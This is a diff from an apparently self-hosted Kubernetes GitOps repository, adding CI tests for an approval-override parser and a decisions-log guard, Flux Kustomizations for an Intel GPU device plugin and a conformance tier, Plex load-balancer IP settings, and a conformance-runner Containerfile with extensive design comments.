+# The real-world shape: Gitea answers with {"message": "token does not have ... scope"}.
+ERR_OBJ='{"message":"token does not have at least one of required scope(s): [read:issue]"}'
+out="$(COMMENTS_JSON="$ERR_OBJ" REVIEWS_JSON="" HEAD_TIME="$HEAD_TIME" \
+       DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "an error OBJECT from the comments API yields no override" "${out:-<none>}" "<none>"
+
+out="$(COMMENTS_JSON="$ERR_OBJ" \
+       REVIEWS_JSON="$(review jakman85 "$AFTER" COMMENT '/approve-override reviews still work')" \
+       HEAD_TIME="$HEAD_TIME" DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "an unreadable COMMENTS source does not suppress a valid REVIEW override" \
+  "$(cut -f1 <<<"$out")" jakman85
+
+# and it must SAY so, or a scope problem reads as 'you never posted one' (it did, on PR #38)
+errout="$(COMMENTS_JSON="$ERR_OBJ" REVIEWS_JSON="" HEAD_TIME="$HEAD_TIME" \
+          DIRECTIVE=/approve-override python3 "$SUT" 2>&1 >/dev/null)"
+case "$errout" in
+  *"not a list"*read:issue*) ok "the diagnostic names the scope Gitea complained about" ;;
+  *) bad "the diagnostic should quote Gitea's message (got: ${errout})" ;;
+esac
+
+# --- latest wins ACROSS the two sources ----------------------------------------------
+out="$(COMMENTS_JSON="$(comment early "2026-10-01T12:10:00Z" '/approve-override from a comment')" \
+       REVIEWS_JSON="$(review later "2026-10-01T12:50:00Z" COMMENT '/approve-override from a review')" \
+       HEAD_TIME="$HEAD_TIME" DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "the latest override wins across both sources (review newer)" "$(cut -f1 <<<"$out")" later
+check "and its source is labelled" "$(cut -f3 <<<"$out")" review
+
+out="$(COMMENTS_JSON="$(comment later "2026-10-01T12:50:00Z" '/approve-override from a comment')" \
+       REVIEWS_JSON="$(review early "2026-10-01T12:10:00Z" COMMENT '/approve-override from a review')" \
+       HEAD_TIME="$HEAD_TIME" DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "the latest override wins across both sources (comment newer)" "$(cut -f1 <<<"$out")" later
+check "and that source is labelled too" "$(cut -f3 <<<"$out")" comment
+
+# --- both sources absent entirely -----------------------------------------------------
+out="$(COMMENTS_JSON="" REVIEWS_JSON="" HEAD_TIME="$HEAD_TIME" \
+       DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "no sources at all yields no override, and no crash" "${out:-<none>}" "<none>"
+
+printf '\n  %d passed, %d failed\n' "$PASS" "$FAIL"
+[ "$FAIL" -eq 0 ] || exit 1

ci/tests/decisions-log.test.sh

@@ -0,0 +1,130 @@
+#!/usr/bin/env bash
+# ci/tests/decisions-log.test.sh — proves ci/decisions-log.sh actually fails closed.
+#
+# The stage exists because appending to DECISIONS-LOG.md silently re-creates a merge conflict
+# for every other open branch. A guard against a silent regression is itself worth nothing
+# unless somebody has watched it reject the thing it claims to reject, so each case below
+# CONSTRUCTS the violation in a throwaway tree and asserts a non-zero exit — the same reasoning
+# as ci/tests/gate-decision.test.sh, one layer down.
+set -uo pipefail
+REAL_CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+
+PASS=0 FAIL=0
+ok()  { printf '  ok   %s\n' "$*"; PASS=$((PASS+1)); }
+bad() { printf '  FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
+
+TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
+
+# A minimal well-formed tree: the frozen archive, its pin, and one valid entry.
+mk_tree() {
+  local d="$1"; rm -rf "$d"; mkdir -p "$d/ci" "$d/decisions"
+  cp "${REAL_CI_DIR}/decisions-log.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$d/ci/"
+  printf 'frozen history\n' > "$d/DECISIONS-LOG.md"
+  ( cd "$d" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 )
+  mk_entry "$d/decisions/2026-09-29-a-good-entry.md" 2026-09-29
+  # REPO_ROOT in ci/lib.sh is derived from git; give the tree a repo so it resolves here.
+  ( cd "$d" && git init -q . && git add -A && git -c user.email=t@t -c user.name=t commit -qm init )
+}
+
+mk_entry() {
+  cat > "$1" <<ENTRY
+---
+date: $2
+branch: chore/example
+title: An example entry
+---
+
+## What changed
+
+Enough prose here to clear the twenty-character body floor comfortably.
+
+## What I verified
+
+Enough prose here to clear the twenty-character body floor comfortably.
+
+## What I did NOT verify
+
+Enough prose here to clear the twenty-character body floor comfortably.
+ENTRY
+}
+
+# run <dir> -> sets RC and OUT
+run() { OUT="$( cd "$1" && bash ci/decisions-log.sh 2>&1 )"; RC=$?; }
+
+D="${TMP}/t"
+
+echo "== 1. a well-formed tree passes"
+mk_tree "$D"; run "$D"
+[ "$RC" -eq 0 ] && ok "clean tree -> exit 0" || bad "clean tree -> exit ${RC}: ${OUT}"
+
+echo
+echo "== 2. THE REGRESSION THIS STAGE EXISTS FOR: appending to the frozen archive"
+mk_tree "$D"; printf '\n## my new handoff\n' >> "$D/DECISIONS-LOG.md"; run "$D"
+[ "$RC" -ne 0 ] && ok "append to DECISIONS-LOG.md -> non-zero (${RC})" \
+                || bad "append to DECISIONS-LOG.md was ACCEPTED — the guard is inert"
+grep -qi 'frozen archive' <<<"$OUT" && ok "the message names the archive as frozen" \
+                                    || bad "the message does not say the archive is frozen"
+grep -q 'decisions/\$(date +%F)' <<<"$OUT" && ok "the message names the file to write instead" \
+                                           || bad "the message does not name the remedy"
+
+echo
+echo "== 3. a re-pin is a deliberate, accepted act"
+mk_tree "$D"; printf '\nredacted\n' >> "$D/DECISIONS-LOG.md"
+( cd "$D" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 ); run "$D"
+[ "$RC" -eq 0 ] && ok "archive changed AND re-pinned -> exit 0" || bad "re-pin rejected: ${OUT}"
+
+echo
+echo "== 4. a missing pin is unverifiable, not green"
+mk_tree "$D"; rm "$D/decisions/ARCHIVE.sha256"; run "$D"
+[ "$RC" -ne 0 ] && ok "no ARCHIVE.sha256 -> non-zero (${RC})" || bad "missing pin was accepted"
+
+echo
+echo "== 5. entry naming"
+for badname in 2026-9-29-x.md 26-09-29-x.md 2026-09-29-Upper.md 2026-09-29-.md 2026-02-30-x.md; do
+  mk_tree "$D"; mk_entry "$D/decisions/${badname}" 2026-09-29; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects decisions/${badname}" || bad "ACCEPTED decisions/${badname}"
+done
+mk_tree "$D"; mk_entry "$D/decisions/2026-10-01-fix-thing-2.md" 2026-10-01; run "$D"
+[ "$RC" -eq 0 ] && ok "accepts a digits-and-dashes slug" || bad "rejected a valid slug: ${OUT}"
+
+echo
+echo "== 6. frontmatter"
+mk_tree "$D"; sed -i '1d' "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+[ "$RC" -ne 0 ] && ok "rejects an entry with no frontmatter" || bad "accepted a bare entry"
+
+for key in date branch title; do
+  mk_tree "$D"; sed -i "/^${key}:/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects frontmatter missing '${key}'" || bad "accepted missing '${key}'"
+done
+
+# The copied-template failure: the body was rewritten, the date never was.
+mk_tree "$D"; mk_entry "$D/decisions/2026-09-30-copied.md" 2026-09-29; run "$D"
+[ "$RC" -ne 0 ] && ok "rejects a frontmatter date that disagrees with the filename" \
+                || bad "accepted a date/filename disagreement"
+
+echo
+echo "== 7. the three required sections, and their bodies"
+for sec in 'What changed' 'What I verified' 'What I did NOT verify'; do
+  mk_tree "$D"; sed -i "/^## ${sec}\$/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
+  [ "$RC" -ne 0 ] && ok "rejects an entry missing '## ${sec}'" || bad "accepted missing '## ${sec}'"
+done
+
+# A heading with nothing under it is the way this floor gets defeated in practice.
+mk_tree "$D"
+python3 - "$D/decisions/2026-09-29-a-good-entry.md" <<'PY'
+import sys,re
+p=sys.argv[1]; s=open(p).read()
+s=re.sub(r'## What I did NOT verify\n\n.*', '## What I did NOT verify\n\nn/a\n', s, flags=re.S)
+open(p,'w').write(s)
+PY
+run "$D"
+[ "$RC" -ne 0 ] && ok "rejects a stub body under a required section" || bad "accepted an 'n/a' section"
+
+echo
+echo "== 8. README.md in decisions/ is not an entry and is not policed as one"
+mk_tree "$D"; printf 'not an entry\n' > "$D/decisions/README.md"; run "$D"
+[ "$RC" -eq 0 ] && ok "decisions/README.md ignored by the entry rules" || bad "README policed: ${OUT}"
+
+echo
+if [ "$FAIL" -eq 0 ]; then echo "decisions-log tests: PASS ($PASS assertions)"; exit 0
+else echo "decisions-log tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi

ci/tests/gate-decision.test.sh

@@ -36,7 +36,22 @@ REPO="${TMP}/repo"; mkdir -p "$REPO"
 cp "${REAL_CI_DIR}/gate.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$CI/"
 
 # One stub per stage. It exits with STAGE_RC_<stage-with-dashes-as-underscores>, default 0.
-for stage in spec-immutability lint l0 render-golden l1 conformance; do
+# NOTE: this list must name EVERY stage gate.sh runs. It did not: `gitea-settings` was added to
+# gate.sh and never added here, so its script was absent from the stub CI dir, `run_stage` got
+# exit 127 from the missing file, and the gate recorded a FAILED stage in every single case —
+# 15 of 47 assertions failed on `main` for that reason alone, including every one that expects a
+# PASS/UNDETERMINED/NOT-APPLICABLE headline. The suite was measuring the missing stub, not the
+# decision logic. `decisions-log` is added here in the same change that adds it to gate.sh.
+#
+# AND IT HAPPENED AGAIN, with `approval-policy` (fixed 2026-10-01). Same shape, same cost: the
+# stage was added to gate.sh by PR #17, never added here, so 15 of 50 assertions failed on `main`
+# — measured on 0c7e8dd before touching anything, to be sure it was not the change under test.
+# The note above was written about the previous instance and did not prevent the next one, which
+# says the comment is not the fix. THE FIX IS TO DERIVE THE LIST: it now comes from gate.sh's own
+# `run_stage` calls, so a stage added there can no longer be silently missing here.
+mapfile -t STAGES < <(sed -n 's/^run_stage[[:space:]]\+\([a-z0-9-]\+\).*/\1/p' "${REAL_CI_DIR}/gate.sh")
+[ "${#STAGES[@]}" -ge 8 ] || { echo "could not parse stage names out of gate.sh (got ${#STAGES[@]})" >&2; exit 1; }
+for stage in "${STAGES[@]}"; do
   cat > "${CI}/${stage}.sh" <<'STUB'
 #!/usr/bin/env bash
 n="$(basename "$0" .sh)"; v="STAGE_RC_${n//-/_}"
@@ -184,6 +199,21 @@ assert_verdict BLOCKED 1 "l0 FAILED + l1 SKIPPED"
 run_gate STAGE_RC_spec_immutability=3 STAGE_RC_conformance=3
 assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED + conformance declared-absent"
 
+echo
+echo "== 10. decisions-log: the handoff log's storage format has no non-blocking outcome"
+# A FAIL here means the frozen archive was appended to (re-creating, for every OTHER open
+# branch, the tail-hunk conflict that made 4 of 5 PRs unmergeable on 2026-09-29) or an entry is
+# malformed. A SKIP is impossible by construction — the stage needs no tool and no cluster — so
+# if one is ever reported it is a defect in the stage, and the gate must not soften it into
+# UNDETERMINED. Both outcomes block, and neither is upgradeable by an env knob: there is
+# deliberately no REQUIRE_DECISIONS_LOG, because a guard with an off switch is not a guard.
+run_gate STAGE_RC_decisions_log=1
+assert_verdict BLOCKED 1 "decisions-log FAILED (archive modified / entry malformed)"
+run_gate STAGE_RC_decisions_log=3
+assert_verdict BLOCKED 1 "decisions-log SKIPPED (impossible by construction -> defect, blocks)"
+run_gate STAGE_RC_decisions_log=1 STAGE_RC_l1=3
+assert_verdict BLOCKED 1 "decisions-log FAILED outranks an l1 non-run"
+
 echo
 if [ "$FAIL" -eq 0 ]; then echo "gate-decision tests: PASS ($PASS assertions)"; exit 0
 else echo "gate-decision tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi

clusters/base/cluster-vars.yaml

@@ -100,7 +100,8 @@ data:
   # platform/keycloak/postgres-cluster.yaml but is rendered by platform-config, which is the ONLY
   # tier that lists it), crafty (CRAFTY_L4_VIP), apps-wave-0 (nextcloud-db + semaphore-db:
   # S3_BACKUP_ENDPOINT, CNPG_BACKUP_PATH; pihole + pihole-dns: PIHOLE_DNS_VIP, LAN_CIDR, plus
-  # GATEWAY_VIP/UNIFI_L4_VIP/CRAFTY_L4_VIP read BY pihole to author its LAN split-horizon answers),
+  # GATEWAY_VIP/UNIFI_L4_VIP/CRAFTY_L4_VIP read BY pihole to author its LAN split-horizon answers;
+  # plex-remote: PLEX_L4_VIP),
   # velero (S3_BACKUP_ENDPOINT, S3_BACKUP_REGION,
   # VELERO_BACKUP_BUCKET, VELERO_BACKUP_PREFIX), apps-vms (UNIFI_L4_VIP). A ${TOKEN} in an
   # UNSUBSTITUTED path would ship the literal string into the cluster.
@@ -175,6 +176,19 @@ data:
   # dev  -> 192.168.1.56  (base default; next free after crafty .55 in dev's .53-.60 pool)
   # prod -> 192.168.2.23  (next free after crafty .22 in prod's .20-.30 pool; see clusters/prod)
   PIHOLE_DNS_VIP: "192.168.1.56"             # PiHole: authoritative LAN DNS for ${BASE_DOMAIN}
+  # Plex's remote-access listener: raw tcp/32400 for REMOTE Plex clients (apps/wave-0/plex-remote.yaml).
+  # A FOURTH pinned L4 VIP, for the usual reason — the `shared` Gateway is an L7 HTTPS terminator and
+  # cannot carry Plex's own TLS. Plex clients do not resolve `plex.${BASE_DOMAIN}`; they fetch this
+  # server's address from plex.tv, so the Gateway's L7 path (which still serves the web UI, and was
+  # measured working) cannot put the server on a client's connection list at all.
+  #
+  # PINNED, AND THE PIN IS LOAD-BEARING OFF-REPO: the SOHO router forwards WAN tcp/32400 to this
+  # address by hand. A VIP taken from the pool head would silently move on a reschedule and break
+  # remote access with nothing in-cluster looking wrong. See runbooks/plex-remote-access.md.
+  #
+  # dev  -> 192.168.1.57  (base default; next free after pihole-dns .56 in dev's .53-.60 pool)
+  # prod -> 192.168.2.24  (next free after pihole-dns .23 in prod's .20-.30 pool; see clusters/prod)
+  PLEX_L4_VIP: "192.168.1.57"                # Plex: tcp/32400 remote access (NOT the web UI, which is L7)
 
   # The FLAT LAN this cluster's nodes and LB VIPs live on, in CIDR form. Consumed as the ingress
   # peer of the PiHole DNS CiliumNetworkPolicy (apps/wave-0/pihole-dns.yaml): a resolver reachable

clusters/base/conformance.yaml

@@ -0,0 +1,31 @@
+---
+# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
+#
+# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
+# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
+# meant to verify is worse than no harness.
+#
+# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
+# waves needs it.
+#
+# NOTE: this reconciles RBAC that is INERT until
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
+# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
+# trigger identity can exist while the policy bounding it does not.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: conformance
+  namespace: flux-system
+spec:
+  interval: 10m
+  retryInterval: 2m
+  timeout: 5m
+  prune: true
+  wait: false
+  dependsOn:
+    - name: platform-config
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./conformance/incluster

clusters/base/intel-gpu-plugin.yaml

@@ -0,0 +1,104 @@
+---
+# Flux Kustomization: Intel GPU device plugin — reconciles ./platform/intel-gpu-plugin.
+# Makes the three prod nodes advertise `gpu.intel.com/i915`, which is the resource a later PR will
+# have `hardware.gpu: intel-quicksync` request in place of today's non-working /dev/dri hostPath.
+#
+# WHY ITS OWN KUSTOMIZATION, AND NOT ONE LINE IN platform/kustomization.yaml
+#
+# The cheap option was a line in the shared `platform` tier plus a new platform/ directory, and
+# neither path is sensitive in infra/gitea/approval-policy.json, so it would have needed no human
+# reviewer on the policy's terms. It is still the wrong place, for the reason the repo already
+# wrote down in platform/kustomization.yaml when Cilium was split out of that tier:
+#
+#   * `platform` is `wait: true` over eleven-plus components, so its Ready condition cannot tell
+#     you "the GPU plugin is wedged" from "longhorn is slow".
+#   * The only emergency valve would be `flux suspend kustomization platform` — freezing storage,
+#     TLS, DNS, ingress, monitoring, Keycloak and KubeVirt in order to stop touching a device
+#     plugin.
+#   * The tier's 10m interval / 5m timeout are explicitly called out there as WRONG for a 3-node
+#     DaemonSet rollout. This is a 3-node DaemonSet rollout.
+#
+# And the consequence is worse here than for an average component, because of what sits downstream:
+# `platform` gates platform-config, which gates apps-wave-0 (wait:true), which gates apps-wave-1.
+# A plugin DaemonSet that never went healthy inside that tier would stall every app on "dependency
+# not ready" — i.e. a component added to fix a SILENT NO-OP (software transcoding) would have
+# acquired the ability to cause a REAL OUTAGE. That trade is the whole argument.
+#
+# The usual objection to this placement is the approval cost, and it does not apply: Gitea enforces
+# `required_approvals: 1` with `block_admin_merge_override: true` on EVERY PR here regardless of
+# path, and authors cannot self-approve. So this change needed the operator's approval either way;
+# touching clusters/** costs nothing extra and buys a blast radius of exactly one component.
+#
+# dependsOn: [cilium], WHICH IS THE MINIMUM AND ALSO THE EARLIEST
+#
+# Not platform-config (what headlamp/crafty/homepage/oauth2-proxy use) — those are leaf UIs that
+# genuinely need Keycloak + wildcard TLS + split-horizon DNS + Gateway. This plugin needs none of
+# it. It never uses the network and never talks to the API server; it talks to the local kubelet
+# over a unix socket. Its only real prerequisite is a working CNI, so its pod can get a sandbox at
+# all, and `cilium` already depends on `flux-system` (the root Kustomization that applies the
+# cluster-vars ConfigMap this one substitutes from), so that edge is transitively satisfied too.
+#
+# Depending on `cilium` rather than `platform` also gets the resource advertised EARLIEST — this
+# reconciles in parallel with the `platform` tier instead of behind all eleven of its components.
+# That matters on a cold start once the consumer PR lands: a Plex pod requesting a resource no node
+# advertises is Unschedulable, and apps-wave-0 is wait:true. Reconciling early shrinks that window
+# instead of widening it. It is not a GUARANTEE — see the ordering note below, which is a real
+# constraint on the next PR and not a formality.
+#
+# Kyverno (in `platform`) is deliberately NOT a dependency: every policy that could match this
+# workload is scoped to namespaces labelled app-namespace=true, and this namespace is labelled
+# "false" (platform/intel-gpu-plugin/namespace.yaml). So there is no admission race to lose.
+#
+# wait: true — A HEALTH SIGNAL, NOT A GATE. This is the one place this component departs from the
+# headlamp/crafty leaf template, and the departure is deliberate. Those run wait:false because a
+# leaf UI can be legitimately not-Ready for a long time during a cold start while it waits on
+# Keycloak/DNS/TLS, so its health is not a useful signal. This DaemonSet has no such dependency: it
+# reads sysfs and opens a socket, so on healthy nodes it should be Ready in seconds, and
+# not-Ready genuinely means BROKEN. wait:true turns `flux get kustomization intel-gpu-plugin` into
+# a one-line answer to "did the plugin come up on all three nodes", which is exactly the question
+# the operator must answer before the consumer PR may merge.
+#
+# NOTHING IN THE GRAPH dependsOn THIS, so wait:true gates nothing — the blast radius of an unhealthy
+# plugin is this Kustomization's own Ready condition and nothing else. Anyone later adding
+# `dependsOn: [intel-gpu-plugin]` is choosing to make plugin health gate their thing; for the app
+# waves that would hand a device plugin the power to stall every app, which is the thing this file
+# exists to prevent. Think before adding that edge.
+#
+# ORDERING — DO NOT REORDER THE STACK. The renderer change (catalog/render.py emitting
+# `gpu.intel.com/i915: 1` for `hardware.gpu: intel-quicksync` instead of the hostPath) must NOT
+# land until this plugin is merged AND confirmed advertising the resource on all three nodes. If
+# the renderer requests a resource no node advertises, the Plex pod is Unschedulable; apps-wave-0 is
+# wait:true and apps-wave-1 dependsOn it, so that stalls the whole app tier — turning today's silent
+# no-op into a real outage. This PR's only job is to make the resource exist.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: intel-gpu-plugin
+  namespace: flux-system
+spec:
+  # Static vendored manifests with nothing to re-render; kustomize-controller is source-triggered,
+  # so this is only the drift-correction floor.
+  interval: 10m
+  retryInterval: 2m
+  # 10m, not the 5m the `platform` tier uses: a 3-node DaemonSet rollout under `wait: true` can
+  # exceed 5m on a cold start (image pull on three nodes), and the Cilium split-out comment calls
+  # out that exact mismatch as one of its reasons for leaving the shared tier.
+  timeout: 10m
+  prune: true
+  # See the header: a health SIGNAL for a component nothing depends on, not a gate.
+  wait: true
+  dependsOn:
+    - name: cilium   # the CNI — the only real prerequisite; transitively gives us flux-system too
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./platform/intel-gpu-plugin
+  # Retained for parity with every other tier / future overlay knobs. This component references no
+  # ${VARS} today, and its manifests contain no `$` literals for envsubst to eat (unlike
+  # clusters/base/runbooks.yaml, which omits substitution for exactly that reason).
+  postBuild:
+    substituteFrom:
+      - kind: ConfigMap
+        name: cluster-vars
+  # No SOPS decryption patch: this component carries no Secret, so clusters/dev adds nothing for it
+  # (same as homepage/runbooks, unlike headlamp/crafty/oauth2-proxy/backup).

clusters/base/kustomization.yaml

@@ -12,6 +12,15 @@ resources:
   # interval/timeout, and `flux suspend kustomization cilium` as an emergency valve that does not
   # freeze the other eleven platform components. See clusters/base/cilium.yaml.
   - cilium.yaml          # Flux Kustomization -> ./platform/cilium (dependsOn flux-system, wait:true)
+  # Intel GPU device plugin — its OWN Kustomization (dependsOn cilium, wait:true), NOT a line in
+  # platform/kustomization.yaml. Same reasoning as the Cilium split-out, applied to a leaf: inside
+  # that wait:true tier a wedged 3-node DaemonSet would be indistinguishable from eleven unrelated
+  # components AND would stall platform-config + every apps wave on "dependency not ready" — so a
+  # component added to fix a silent no-op (Plex software transcoding) could cause a real outage.
+  # wait:true here is a HEALTH SIGNAL, not a gate: nothing in the graph dependsOn it.
+  # It advertises `gpu.intel.com/i915`; the renderer change that REQUESTS that resource must land
+  # strictly later. See clusters/base/intel-gpu-plugin.yaml.
+  - intel-gpu-plugin.yaml # Flux Kustomization -> ./platform/intel-gpu-plugin (dependsOn cilium)
   - platform.yaml        # Flux Kustomization -> ./platform (CONTROLLERS: HelmReleases / CRDs)
   - platform-config.yaml # Flux Kustomization -> ./platform-config (CONFIGS: CRs; dependsOn platform)
   # SECOND-ORDER CDI configs — CRs whose CRD is created by a controller AT RUNTIME, not by any
@@ -33,6 +42,7 @@ resources:
   - apps-wave-2.yaml     # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
   # VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
   - apps-vms.yaml        # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
+  - conformance.yaml     # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
   # oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
   # service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
   # `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).

clusters/prod/kustomization.yaml

@@ -476,6 +476,26 @@ patches:
       - op: replace
         path: /data/PIHOLE_DNS_VIP
         value: "192.168.2.23"
+      # Plex's remote-access listener VIP — raw tcp/32400 for REMOTE Plex clients
+      # (apps/wave-0/plex-remote.yaml). 192.168.2.24 is the NEXT FREE address in the prod pool
+      # 192.168.2.20-.30, verified live 2026-10-03: the CiliumLoadBalancerIPPool `default-pool`
+      # reported IPsTotal 11 / IPsUsed 4 / IPsAvailable 7, and the only four allocations are .20
+      # (cilium-gateway-shared), .21 (unifi-l4-tcp/-udp), .22 (crafty-l4-tcp/-udp) and .23
+      # (pihole-dns-tcp/-udp). It is inside the pool block the operator already asserted sits outside
+      # the SOHO router's DHCP scope, and it is not a node address (.10/.11/.12) or the
+      # control-plane VIP (.9).
+      #
+      # UNLIKE .23, THIS ONE IS ALSO A WAN PORT-FORWARD TARGET. The router forwards WAN tcp/32400
+      # here, by hand, off-repo — so changing this value is a two-place edit and the router is the
+      # half that CI cannot check. runbooks/plex-remote-access.md is the procedure.
+      #
+      # NOT ARP-PROBED. .23 was verified free with `arping` from a LAN host before it was claimed;
+      # for .24 only the in-cluster pool accounting above was checked, so an off-cluster squatter on
+      # this address would not have been caught. Probe before trusting it if remote access comes up
+      # with a conflict.
+      - op: replace
+        path: /data/PLEX_L4_VIP
+        value: "192.168.2.24"
       # The prod flat LAN. This is the 192.168.2.0/24 segment the SOHO ROUTER at 192.168.2.1 owns —
       # NOT pfSense's 192.168.1.0/24, which is a different network and not in the LAN-DNS path.
       # It scopes the ingress allow for PiHole's DNS listener to LAN clients only.

conformance/incluster/Containerfile

@@ -0,0 +1,200 @@
+# =============================================================================
+# conformance-runner — the image the in-cluster L2/L3 Chainsaw Job actually runs.
+# Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+# WHY THIS EXISTS. chainsaw-job.yaml pins `ghcr.io/kyverno/chainsaw:v0.2.12` and
+# `command: ["./run.sh"]`. That image carries the chainsaw binary and almost nothing else —
+# no bash, no python3, no kubectl, no git. So the committed Job could never have run: it
+# would have failed at exec of `./run.sh`. This image carries exactly what
+# `conformance/run.sh` needs:
+#
+#   bash      run.sh and every tests/**/check.sh are bash (arrays, mapfile, BASH_SOURCE)
+#   python3   lib/{run_l1_offline,gen_coverage,merge_junit,emit_skipped_junit,status}.py
+#             (stdlib only — conformance/versions.env PYTHON_MIN=3.9, so no pip layer)
+#   chainsaw  the L1/L2/L3 runner itself (run_chainsaw / lint_tests)
+#   kubectl   conf_cluster_reachable()'s `kubectl cluster-info` preflight + probe scripts
+#   git       the init-container's `clone --depth 1` + `checkout <SHA>` (§3 item 2) and
+#             run.sh's `rev-parse --short HEAD` for the run id
+#   tar/gzip/coreutils  the `=== ARTIFACTS-TGZ-BASE64 ===` results channel (§3 item 3)
+#
+# It also carries `/usr/local/bin/conformance-clone` (0755 root:root) — the init container's
+# ONLY entrypoint, a fixed path with no argument surface. That exists to close an admission
+# hole, not for convenience: see the COPY below and the script's own header.
+#
+# VERSIONS COME FROM infra/devcontainer/versions.env — NOT from new pins invented here.
+# That file is the single source of truth for CHAINSAW_VERSION / KUBECTL_VERSION /
+# FEDORA_VERSION, and build-image.sh sources it and passes them in as --build-arg. The
+# ARG defaults below are deliberately EMPTY so a build that forgets to pass them fails
+# loudly (see the assertion in the first RUN) instead of silently baking a stale version.
+#
+# KNOWN LIMIT — READ BEFORE CHOOSING THE JOB'S `args`.
+# `run.sh` runs the selected OFFLINE L0/L1 checks (run_offline_checks) before it ever
+# touches the cluster, for ANY selection that is not offline-only. Those checks shell out
+# to flux / promtool / kyverno / kustomize, which this image deliberately does NOT carry —
+# baking the whole devcontainer toolchain into the runner would roughly double its size to
+# re-run work that ci/l0.sh + ci/l1.sh already did offline in the same CI run. So the Job
+# must select the cluster-gated layers only, e.g. `args: ["--layer", "l2"]` /
+# `["--layer", "l3"]`, where offline_selected_dirs() resolves to nothing and
+# run_offline_checks() returns 0. `--layer all` and a bare `--requirements <IDs>` would drag
+# the L0 checks in and fail on a missing tool. Flagged to the plan owner; choosing the Job's
+# args is T-6.1b's call, not this image's.
+#
+# THE ADMISSION CONTRACT THIS IMAGE MUST SATISFY.
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is a fail-closed Enforce
+# ClusterPolicy (R-SEC-02) and it is the security boundary. It requires the Job's container
+# to be `gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*` — a DIGEST,
+# never a tag — with `runAsNonRoot: true` and `allowPrivilegeEscalation: false`. Two
+# consequences are baked in here:
+#
+#   1. `USER` is NUMERIC. With `runAsNonRoot: true` and no explicit `runAsUser`, the kubelet
+#      REJECTS an image whose USER is a name it cannot resolve to a uid
+#      ("container has runAsNonRoot and image has non-numeric user"). So: USER 65532:65532.
+#   2. The pod is `readOnlyRootFilesystem: true` and the policy admits only the `workspace`
+#      and `results` volumes — there is no writable /tmp and one cannot be added without
+#      changing the boundary. So HOME and every cache path point INTO /workspace (the
+#      emptyDir), not at the read-only root. That is why HOME=/workspace below.
+# =============================================================================
+
+# --- builder: fetch the pinned release binaries ------------------------------
+# A full Fedora for the download stage (it has curl + tar); none of it ships in the runtime
+# image, so the runner does not carry a downloader it has no business having at runtime.
+ARG FEDORA_VERSION=44
+FROM registry.fedoraproject.org/fedora:${FEDORA_VERSION} AS builder
+
+ARG CHAINSAW_VERSION=
+ARG KUBECTL_VERSION=
+ARG TARGETARCH=amd64
+
+# Fail the BUILD — not the Job, three weeks later — if a pin was not passed in.
+RUN set -eux; \
+    : "${CHAINSAW_VERSION:?pass --build-arg CHAINSAW_VERSION from infra/devcontainer/versions.env}"; \
+    : "${KUBECTL_VERSION:?pass --build-arg KUBECTL_VERSION from infra/devcontainer/versions.env}"
+
+# Same URLs and the same arch handling as infra/devcontainer/Containerfile, so the chainsaw
+# and kubectl in this image are the same builds the toolbox gate runs with.
+#
+# INTEGRITY, MEASURED NOT ASSUMED. kubectl publishes a plain `<url>.sha256`, so it is verified
+# below. chainsaw publishes NO checksums file — the v0.2.12 release assets are the tarballs plus
+# per-asset cosign `.sig`/`.pem` and an SBOM (listed via the GitHub releases API). So chainsaw's
+# integrity here rests on the tag + TLS, and afterwards on this image's own digest.
+# TODO, worth doing and deliberately not smuggled in here: verify chainsaw with
+# `cosign verify-blob --certificate chainsaw_linux_amd64.tar.gz.pem
+#  --signature chainsaw_linux_amd64.tar.gz.sig ...`. That needs cosign in the builder stage and
+# the correct keyless identity/issuer for kyverno's release workflow — a supply-chain decision
+# that belongs in its own reviewed change, not as a silent addition to a runner image.
+# infra/devcontainer/Containerfile has the same gap for the same binary.
+RUN set -eux; \
+    mkdir -p /out; \
+    curl -fsSL "https://dl.k8s.io/release/v${KUBECTL_VERSION}/bin/linux/${TARGETARCH}/kubectl" \
+      -o /out/kubectl; \
